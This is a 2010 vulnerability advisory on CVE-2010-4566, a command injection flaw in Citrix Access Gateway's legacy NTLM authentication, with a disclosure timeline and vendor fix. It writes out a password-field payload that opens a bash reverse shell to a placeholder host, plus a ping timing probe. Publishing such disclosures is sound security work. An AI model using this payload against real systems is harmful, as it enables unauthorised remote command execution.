Citrix Access Gateway Command Injection

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VSR Security Advisory  
http://www.vsecurity.com/  
  
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Advisory Name: Citrix Access Gateway Command Injection Vulnerability  
Release Date: 2010-12-21  
Application: Citrix Access Gateway  
Versions: Access Gateway Enterprise Edition (up to 9.2-49.8)  
Access Gateway Standard & Advanced Edition (prior to 5.0)  
Severity: High  
Author: George D. Gal <ggal (at) vsecurity (dot) com>  
Vendor Status: Updated Software Released, NT4 Authentication Removed [2]  
CVE Candidate: CVE-2010-4566  
Reference: http://www.vsecurity.com/resources/advisory/20101221-1/  
  
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Product Description  
- -------------------  
- From [1]:  
  
"Citrix(R) Access Gateway(TM) is a secure application access solution that  
provides administrators granular application-level control while  
empowering users with remote access from anywhere. It gives IT  
administrators a single point to manage access control and limit actions  
within sessions based on both user identity and the endpoint device,  
providing better application security, data protection, and compliance  
management."  
  
Vulnerability Overview  
- ----------------------  
  
On August 2nd, VSR identified a vulnerability in Citrix Access Gateway within  
the way user authentication credentials are handled. Under certain  
configuration settings it appears that user credentials are passed as  
arguments to a command line program to authenticate the user. A lack of data  
validation and the mechanism in which the external program is spawned results  
in the potential for command injection and arbitrary command execution on the  
Access Gateway.  
  
Vulnerability Details  
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The Citrix Access Gateway provides support for multiple authentication types.  
When utilizing the external legacy NTLM authentication module known as  
ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command  
line utility to verify a user's identity and password. By embedding shell  
metacharacters in the web authentication form it is possible to execute  
arbitrary commands on the Access Gateway.  
  
The following commands are executed by the ntlm_authenticator during this  
process:  
  
vpnadmin 10130 0.0 0.0 2104 976 ? S 15:02 0:00 sh -c /usr/local/samba/bin/samedit -c 'samuser username -a' -U <<username>>%<<password>> -p 139 -S xxx.xxx.xxx.xxx > /tmp/samedit-samuser-stdout.50474096 2> /dev/null  
  
vpnadmin 10131 0.0 0.1 3852 1528 ? S 15:02 0:00 /usr/local/samba/bin/samedit -c samuser username -a -U <<username>>%XXXXXXXX -p 139 -S xxx.xxx.xxx.xxx  
  
By submitting a password value as shown below, it is possible to establish a  
reverse shell to a netcat listener:  
  
| bash -i >& /dev/tcp/<<HOST>>/<<PORT>> 0>&1 &  
  
Using a simple ping command in the password field an attacker could use timing  
attacks to verify the presence of the vulnerability:  
  
| ping -c 10 <<HOST>>  
  
The ping command above will attempt to send 10 ICMP echo requests to the  
target host, resulting in a noticable delay easily detected by vulnerability  
scanners.  
  
Versions Affected  
- -----------------  
Testing was performed against a Citrix Access Gateway 2000 version 4.5.7.  
According to the vendor this vulnerability affects all versions of Access  
Gateway Enterprise Edition up to version 9.2-49.8, and all versions of  
the Access Gateway Standard and Advanced Editions prior to Access Gateway  
5.0.  
  
Vendor Response  
- ---------------  
The following timeline details the vendor's response to the reported issue:  
  
2010-08-06 Citrix was provided a draft advisory.  
2010-08-10 Citrix acknowledged receipt of draft advisory.  
2010-08-16 VSR follow-up to determine confirmation of issue.  
2010-08-16 Citrix confirmed issue.  
2010-09-14 VSR follow-up to determine status of issue.  
2010-09-29 VSR follow-up to determine status of issue.  
2010-09-30 Citrix confirmed continued investigation of the issue.  
2010-10-19 VSR follow-up to determine status of issue.  
2010-10-26 Citrix verified issue only exists in NT4 authentication feature.  
2010-12-01 VSR follow-up to determine status of issue.  
2010-12-02 Citrix confirmed December 14th release of security bulletin.  
2010-12-14 Citrix releases security bulletin.  
2010-12-20 CVE assigned  
2010-12-21 VSR releases advisory.  
  
  
The Citrix advisory may be obtained at:  
http://support.citrix.com/article/CTX127613  
  
Recommendation  
- --------------  
Citrix has indicated that this vulnerability only affects legacy NT4  
authentication which has been removed from the latest release of the  
device firmware.  
  
Common Vulnerabilities and Exposures (CVE) Information  
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The Common Vulnerabilities and Exposures (CVE) project has assigned  
the number CVE-2010-4566 to this issue. This is a candidate for  
inclusion in the CVE list (http://cve.mitre.org), which standardizes  
names for security problems.  
  
  
Acknowledgements  
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VSR would like to thank Citrix for the coordinated release of this advisory.  
  
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References:  
  
1. Citrix Access Gateway  
http://citrix.com/accessgateway/overview  
2. Citrix Access Gateway - Vendor Security Bulletin  
http://support.citrix.com/article/CTX127613  
  
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This advisory is distributed for educational purposes only with the sincere  
hope that it will help promote public safety. This advisory comes with  
absolutely NO WARRANTY; not even the implied warranty of merchantability or  
fitness for a particular purpose. Virtual Security Research, LLC nor the  
author accepts any liability for any direct, indirect, or consequential loss  
or damage arising from use of, or reliance on, this information.  
  
See the VSR disclosure policy for more information on our responsible  
disclosure practices:  
  
http://www.vsecurity.com/company/disclosure  
  
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Copyright 2010 Virtual Security Research, LLC. All rights reserved.  
  
  
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